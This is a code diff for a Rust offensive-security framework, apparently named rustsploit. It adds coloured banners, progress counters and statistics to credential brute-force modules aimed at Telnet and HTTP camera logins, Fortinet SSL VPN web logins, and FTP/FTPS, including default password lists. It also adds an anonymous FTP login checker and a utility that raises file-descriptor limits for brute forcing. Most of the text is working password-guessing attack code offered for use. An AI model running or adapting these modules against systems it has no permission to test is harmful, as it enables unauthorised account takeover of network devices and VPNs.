@@ -120,7 +129,7 @@ pub fn check_telnet_blocking(config: &Config) -> Result<()> {
|
||||
if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
|
||||
let response = String::from_utf8_lossy(&buffer);
|
||||
if !response.contains("incorrect") && !response.contains("failed") {
|
||||
println!("[+] Telnet credentials valid: {}:{}", username, password);
|
||||
println!("{}", format!("[+] Telnet credentials valid: {}:{}", username, password).green().bold());
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
@@ -129,24 +138,24 @@ pub fn check_telnet_blocking(config: &Config) -> Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port);
|
||||
println!("{}", format!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// HTTP Web Login check (async)
|
||||
pub async fn check_http_form(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port);
|
||||
println!("{}", format!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(5))
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port);
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying HTTP: {}:{}", username, password);
|
||||
println!("{}", format!("[*] Trying HTTP: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let data = [
|
||||
@@ -166,19 +175,23 @@ pub async fn check_http_form(config: &Config) -> Result<()> {
|
||||
let body = res.text().await.unwrap_or_default();
|
||||
|
||||
if !body.contains(">Password<") {
|
||||
println!("[+] HTTP credentials valid: {}:{}", username, password);
|
||||
println!("{}", format!("[+] HTTP credentials valid: {}:{}", username, password).green().bold());
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port);
|
||||
println!("{}", format!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Entrypoint for module - parallel checks
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!();
|
||||
|
||||
let creds = vec![
|
||||
("admin", "12345"),
|
||||
("admin", "123456"),
|
||||
|
||||
@@ -1,41 +1,135 @@
|
||||
use anyhow::{Result, anyhow};
|
||||
use std::process::Command;
|
||||
use colored::*;
|
||||
use libc::{rlimit, setrlimit, getrlimit, RLIMIT_NOFILE};
|
||||
|
||||
const TARGET_FILE_LIMIT: u64 = 65535;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ System Ulimit Configuration Utility ║".cyan());
|
||||
println!("{}", "║ Raises file descriptor limits for brute forcing ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Module entry point for raising ulimit
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
raise_ulimit().await
|
||||
}
|
||||
|
||||
/// Raise ulimit to 65535
|
||||
async fn raise_ulimit() -> Result<()> {
|
||||
println!("[*] Attempting to raise open file limit (ulimit -n 65535)");
|
||||
|
||||
// Try to set limit using bash
|
||||
let output = Command::new("bash")
|
||||
.arg("-c")
|
||||
.arg("ulimit -n 65535")
|
||||
.output()
|
||||
.map_err(|e| anyhow!("Failed to run bash: {}", e))?;
|
||||
|
||||
if !output.status.success() {
|
||||
println!("[-] Warning: Could not change ulimit. (maybe run as root?)");
|
||||
} else {
|
||||
println!("[+] Successfully ran ulimit -n 65535.");
|
||||
/// Get current resource limits
|
||||
fn get_current_limits() -> Result<(u64, u64)> {
|
||||
let mut rlim = rlimit {
|
||||
rlim_cur: 0,
|
||||
rlim_max: 0,
|
||||
};
|
||||
|
||||
let result = unsafe { getrlimit(RLIMIT_NOFILE, &mut rlim) };
|
||||
if result != 0 {
|
||||
return Err(anyhow!("Failed to get current limits: {}", std::io::Error::last_os_error()));
|
||||
}
|
||||
|
||||
Ok((rlim.rlim_cur, rlim.rlim_max))
|
||||
}
|
||||
|
||||
// Check current limit
|
||||
let check_output = Command::new("bash")
|
||||
.arg("-c")
|
||||
.arg("ulimit -n")
|
||||
.output()
|
||||
.map_err(|e| anyhow!("Failed to check ulimit: {}", e))?;
|
||||
|
||||
if check_output.status.success() {
|
||||
let limit = String::from_utf8_lossy(&check_output.stdout);
|
||||
println!("[+] Current open file limit: {}", limit.trim());
|
||||
} else {
|
||||
println!("[-] Warning: Could not verify new ulimit.");
|
||||
/// Set resource limits directly in the current process
|
||||
fn set_file_limit(soft: u64, hard: u64) -> Result<()> {
|
||||
let rlim = rlimit {
|
||||
rlim_cur: soft,
|
||||
rlim_max: hard,
|
||||
};
|
||||
|
||||
let result = unsafe { setrlimit(RLIMIT_NOFILE, &rlim) };
|
||||
if result != 0 {
|
||||
return Err(anyhow!("Failed to set limits: {}", std::io::Error::last_os_error()));
|
||||
}
|
||||
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Raise ulimit to 65535 using setrlimit syscall (actually works for current process)
|
||||
async fn raise_ulimit() -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Get current limits
|
||||
let (current_soft, current_hard) = match get_current_limits() {
|
||||
Ok(limits) => limits,
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to get current limits: {}", e).red());
|
||||
(0, 0)
|
||||
}
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Current limits - Soft: {}, Hard: {}", current_soft, current_hard).cyan());
|
||||
|
||||
if current_soft >= TARGET_FILE_LIMIT {
|
||||
println!("{}", format!("[+] Open file limit already at {} or higher.", current_soft).green().bold());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Attempting to raise open file limit to {}", TARGET_FILE_LIMIT).cyan());
|
||||
|
||||
// Determine the target limits
|
||||
let target_hard = if current_hard >= TARGET_FILE_LIMIT {
|
||||
current_hard
|
||||
} else {
|
||||
TARGET_FILE_LIMIT
|
||||
};
|
||||
|
||||
let target_soft = TARGET_FILE_LIMIT.min(target_hard);
|
||||
|
||||
// Try to set the limit using setrlimit syscall (works for current process)
|
||||
match set_file_limit(target_soft, target_hard) {
|
||||
Ok(()) => {
|
||||
println!("{}", format!("[+] Successfully set file limit to {}", target_soft).green().bold());
|
||||
}
|
||||
Err(e) => {
|
||||
// If we can't raise hard limit, try just raising soft to current hard
|
||||
println!("{}", format!("[-] Could not set to {}: {}", TARGET_FILE_LIMIT, e).yellow());
|
||||
|
||||
if current_hard > current_soft {
|
||||
println!("{}", format!("[*] Trying to raise soft limit to hard limit ({})...", current_hard).cyan());
|
||||
match set_file_limit(current_hard, current_hard) {
|
||||
Ok(()) => {
|
||||
println!("{}", format!("[+] Raised soft limit to {}", current_hard).green());
|
||||
}
|
||||
Err(e2) => {
|
||||
println!("{}", format!("[-] Could not raise soft limit: {}", e2).red());
|
||||
println!("{}", "[!] Try running as root or adjust /etc/security/limits.conf".yellow());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
println!("{}", "[!] Hard limit is the same as soft limit.".yellow());
|
||||
println!("{}", "[!] To increase further, run as root or edit /etc/security/limits.conf".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Verify the new limits
|
||||
match get_current_limits() {
|
||||
Ok((new_soft, new_hard)) => {
|
||||
println!("{}", format!("[*] New limits - Soft: {}, Hard: {}", new_soft, new_hard).cyan());
|
||||
if new_soft >= TARGET_FILE_LIMIT {
|
||||
println!("{}", "[+] File descriptor limit successfully raised!".green().bold());
|
||||
} else if new_soft > current_soft {
|
||||
println!("{}", format!("[+] Limit raised from {} to {}", current_soft, new_soft).green());
|
||||
} else {
|
||||
println!("{}", "[-] Limit unchanged.".yellow());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Could not verify new limits: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
|
||||
// Also show shell instructions for reference
|
||||
println!();
|
||||
println!("{}", "=== Shell Instructions ===".bold());
|
||||
println!("{}", "To raise limits in your shell before running rustsploit:".dimmed());
|
||||
println!("{}", " ulimit -n 65535".white());
|
||||
println!("{}", "Or to make permanent, add to /etc/security/limits.conf:".dimmed());
|
||||
println!("{}", " * soft nofile 65535".white());
|
||||
println!("{}", " * hard nofile 65535".white());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -7,7 +7,8 @@ use std::{
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
sync::atomic::{AtomicBool, AtomicU64, Ordering},
|
||||
time::Instant,
|
||||
};
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore},
|
||||
@@ -15,9 +16,89 @@ use tokio::{
|
||||
};
|
||||
use regex::Regex;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
struct Statistics {
|
||||
total_attempts: AtomicU64,
|
||||
successful_attempts: AtomicU64,
|
||||
failed_attempts: AtomicU64,
|
||||
error_attempts: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_attempts: AtomicU64::new(0),
|
||||
successful_attempts: AtomicU64::new(0),
|
||||
failed_attempts: AtomicU64::new(0),
|
||||
error_attempts: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_attempt(&self, success: bool, error: bool) {
|
||||
self.total_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.error_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else if success {
|
||||
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
success.to_string().green(),
|
||||
failed,
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
|
||||
fn print_final(&self) {
|
||||
println!();
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("{}", "=== Statistics ===".bold());
|
||||
println!(" Total attempts: {}", total);
|
||||
println!(" Successful: {}", success.to_string().green().bold());
|
||||
println!(" Failed: {}", failed);
|
||||
println!(" Errors: {}", errors.to_string().red());
|
||||
println!(" Elapsed time: {:.2}s", elapsed);
|
||||
if elapsed > 0.0 {
|
||||
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Fortinet SSL VPN Brute Force Module ║".cyan());
|
||||
println!("{}", "║ FortiGate Web Login Credential Testing ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== Fortinet SSL VPN Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("Fortinet VPN Port", "443")?;
|
||||
@@ -105,6 +186,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
let found_credentials = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_signal = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", base_url);
|
||||
println!("[*] Timeout: {} seconds", timeout_secs);
|
||||
@@ -146,6 +228,20 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
};
|
||||
|
||||
println!("[*] Testing {} credential combinations", credential_pairs.len());
|
||||
println!();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop_signal.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
@@ -160,6 +256,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let found_credentials_clone = Arc::clone(&found_credentials);
|
||||
let stop_signal_clone = Arc::clone(&stop_signal);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
@@ -186,18 +283,25 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
timeout_duration
|
||||
).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", base_url_clone, user, pass);
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", base_url_clone, user, pass).green().bold());
|
||||
let mut found = found_credentials_clone.lock().await;
|
||||
found.push((base_url_clone.clone(), user.clone(), pass.clone()));
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_on_success_flag {
|
||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", base_url_clone, user, pass));
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", base_url_clone, user, pass).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", base_url_clone, e));
|
||||
stats_clone.record_attempt(false, true);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {}: error: {}", base_url_clone, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -208,15 +312,24 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
// Wait for all tasks to complete
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
if verbose {
|
||||
println!("\r{}", format!("[!] Task join error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop_signal.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final();
|
||||
|
||||
let creds = found_credentials.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
println!("{}", "[-] No credentials found.".yellow());
|
||||
} else {
|
||||
println!("\n[+] Valid credentials found:");
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (url, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", url, user, pass);
|
||||
}
|
||||
@@ -490,12 +603,6 @@ fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
|
||||
let path = Path::new(input_path_str);
|
||||
let filename_component = path
|
||||
|
||||
@@ -1,8 +1,19 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use suppaftp::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
|
||||
use suppaftp::async_native_tls::TlsConnector;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 5;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ FTP Anonymous Login Checker ║".cyan());
|
||||
println!("{}", "║ Supports FTP and FTPS (TLS) with IPv4/IPv6 ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port
|
||||
fn format_addr(target: &str, port: u16) -> String {
|
||||
if target.starts_with('[') && target.contains("]:") {
|
||||
@@ -25,6 +36,8 @@ fn format_addr(target: &str, port: u16) -> String {
|
||||
|
||||
/// Anonymous FTP/FTPS login test with IPv6 support
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let addr = format_addr(target, 21);
|
||||
let domain = target
|
||||
.trim_start_matches('[')
|
||||
@@ -32,32 +45,36 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.next()
|
||||
.unwrap_or(target);
|
||||
|
||||
println!("[*] Connecting to FTP service on {}...", addr);
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!("{}", format!("[*] Connecting to FTP service on {}...", addr).cyan());
|
||||
println!();
|
||||
|
||||
// 1️⃣ Try plain FTP first
|
||||
match timeout(Duration::from_secs(5), AsyncFtpStream::connect(&addr)).await {
|
||||
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(&addr)).await {
|
||||
Ok(Ok(mut ftp)) => {
|
||||
let result = ftp.login("anonymous", "anonymous").await;
|
||||
if let Ok(_) = result {
|
||||
println!("[+] Anonymous login successful (FTP)");
|
||||
if result.is_ok() {
|
||||
println!("{}", "[+] Anonymous login successful (FTP)".green().bold());
|
||||
let _ = ftp.quit().await;
|
||||
return Ok(());
|
||||
} else if let Err(e) = result {
|
||||
if e.to_string().contains("530") {
|
||||
println!("[-] Anonymous login rejected (FTP)");
|
||||
println!("{}", "[-] Anonymous login rejected (FTP)".yellow());
|
||||
return Ok(());
|
||||
} else if e.to_string().contains("550 SSL") {
|
||||
println!("[*] FTP server requires TLS — upgrading to FTPS...");
|
||||
println!("{}", "[*] FTP server requires TLS — upgrading to FTPS...".cyan());
|
||||
} else {
|
||||
return Err(anyhow!("FTP error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => println!("[!] FTP connection error: {}", e),
|
||||
Err(_) => println!("[-] FTP connection timed out"),
|
||||
Ok(Err(e)) => println!("{}", format!("[!] FTP connection error: {}", e).red()),
|
||||
Err(_) => println!("{}", "[-] FTP connection timed out".yellow()),
|
||||
}
|
||||
|
||||
// 2️⃣ Fallback to FTPS
|
||||
println!("{}", "[*] Attempting FTPS connection...".cyan());
|
||||
|
||||
let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
|
||||
.await
|
||||
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
|
||||
@@ -75,11 +92,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
match ftps.login("anonymous", "anonymous").await {
|
||||
Ok(_) => {
|
||||
println!("[+] Anonymous login successful (FTPS)");
|
||||
println!("{}", "[+] Anonymous login successful (FTPS)".green().bold());
|
||||
let _ = ftps.quit().await;
|
||||
}
|
||||
Err(e) if e.to_string().contains("530") => {
|
||||
println!("[-] Anonymous login rejected (FTPS)");
|
||||
println!("{}", "[-] Anonymous login rejected (FTPS)".yellow());
|
||||
}
|
||||
Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
|
||||
}
|
||||
|
||||
@@ -7,12 +7,94 @@ use std::{
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::PathBuf,
|
||||
sync::Arc,
|
||||
time::Instant,
|
||||
};
|
||||
use std::path::Path;
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use tokio::{sync::{Mutex, Semaphore}, time::{sleep, Duration}};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
// Statistics tracking for progress reporting
|
||||
struct Statistics {
|
||||
total_attempts: AtomicU64,
|
||||
successful_attempts: AtomicU64,
|
||||
failed_attempts: AtomicU64,
|
||||
error_attempts: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_attempts: AtomicU64::new(0),
|
||||
successful_attempts: AtomicU64::new(0),
|
||||
failed_attempts: AtomicU64::new(0),
|
||||
error_attempts: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_attempt(&self, success: bool, error: bool) {
|
||||
self.total_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.error_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else if success {
|
||||
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
success.to_string().green(),
|
||||
failed,
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
|
||||
fn print_final(&self) {
|
||||
println!();
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("{}", "=== Statistics ===".bold());
|
||||
println!(" Total attempts: {}", total);
|
||||
println!(" Successful: {}", success.to_string().green().bold());
|
||||
println!(" Failed: {}", failed);
|
||||
println!(" Errors: {}", errors.to_string().red());
|
||||
println!(" Elapsed time: {:.2}s", elapsed);
|
||||
if elapsed > 0.0 {
|
||||
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ FTP Brute Force Module ║".cyan());
|
||||
println!("{}", "║ Supports FTP and FTPS (TLS) with IPv4/IPv6 ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port
|
||||
fn format_addr(target: &str, port: u16) -> String {
|
||||
if target.starts_with('[') && target.contains("]:") {
|
||||
@@ -34,8 +116,8 @@ fn format_addr(target: &str, port: u16) -> String {
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== FTP Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("FTP Port", "21")?;
|
||||
@@ -68,6 +150,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let addr = format_addr(target, port);
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
@@ -76,12 +159,31 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} usernames", users.len()).cyan());
|
||||
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if passes.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} passwords", passes.len()).cyan());
|
||||
|
||||
let total_attempts = if combo_mode { users.len() * passes.len() } else { passes.len() };
|
||||
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
|
||||
println!();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
@@ -97,6 +199,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
@@ -113,17 +216,24 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
match try_ftp_login(&addr_clone, &user_clone, &pass_clone, verbose_flag).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone).green().bold());
|
||||
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_on_success_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
stats_clone.record_attempt(false, true);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
@@ -141,6 +251,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
@@ -157,17 +268,24 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
match try_ftp_login(&addr_clone, &user, &pass_clone, verbose_flag).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user, pass_clone).green().bold());
|
||||
found_clone.lock().await.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_on_success_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user, pass_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
stats_clone.record_attempt(false, true);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red());
|
||||
}
|
